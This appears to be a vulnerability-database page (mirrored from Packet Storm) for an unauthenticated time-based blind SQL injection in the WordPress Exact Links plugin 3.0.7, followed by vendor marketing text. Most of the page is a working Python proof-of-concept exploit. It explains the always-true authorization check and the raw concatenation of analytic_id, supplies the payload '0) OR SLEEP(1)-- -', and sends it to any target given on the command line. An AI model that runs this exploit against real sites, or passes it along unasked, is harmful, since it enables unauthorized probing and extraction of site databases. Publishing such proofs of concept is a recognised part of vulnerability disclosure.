Lucene search
+L

📄 WordPress Exact Links 3.0.7 Unauthenticated Blind SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

Unauthenticated time-based blind SQL injection in WordPress Exact Links plugin version 3.0.7 via get analytics endpoint.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Exact Links (URL Shortener) <= 3.0.7 - Unauthenticated Time-Based Blind SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/exact-links/
    # Software Link: https://downloads.wordpress.org/plugin/exact-links.3.0.7.zip
    # Version: 3.0.7 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-10738
    r"""
    Exact Links <= 3.0.7 exposes GET /wp-json/exactlinks/v2/links/<id>/get_analytics whose policy
    (app/Http/Policies/AdminPolicy.php:21) `return true;` (the capability check below it is dead code) —
    so the route is unauthenticated. AnalyticsController reads $request->get('analytic_id')
    (app/Models/LinkAnalytics.php:23) and concatenates it raw (no prepare/intval) into several queries,
    e.g. LinkAnalytics.php:150:
    
        "SELECT $name, COUNT(link_id) as clicks FROM {$table}
         WHERE (link_id = $analyticId) AND (conversion_text IS NULL) $dateWise GROUP BY $name"
    
    `analytic_id` is numeric/unquoted context -> SQL injection with no quote needed. Because the value is
    reused across ~11 analytics sub-queries per request, one injected SLEEP(1) delays the response ~11s.
    
    Payload: 0) OR SLEEP(1)-- -
    
    Prior state: at least one row in wp_exactlinks_analytics (a live shortener always has click rows).
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def probe(base, link_id, seconds):
        q = "analytic_id=" + urllib.parse.quote("0) OR SLEEP(%d)-- -" % seconds)
        t = time.time()
        try:
            requests.get(base + "/wp-json/exactlinks/v2/links/%s/get_analytics?%s" % (link_id, q),
                         verify=False, timeout=120)
        except requests.exceptions.ReadTimeout:
            return 120.0
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--link-id", default="1")
        ap.add_argument("--sleep", type=int, default=1)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        t0 = probe(base, args.link_id, 0)
        t1 = probe(base, args.link_id, args.sleep)
        print(f"[*] Target: {base}")
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t1:.2f}s")
        if (t1 - t0) >= args.sleep - 0.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — unauthenticated attacker-controlled SLEEP delayed the "
                  f"response by {t1 - t0:.2f}s (analytic_id param; reused across many sub-queries).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation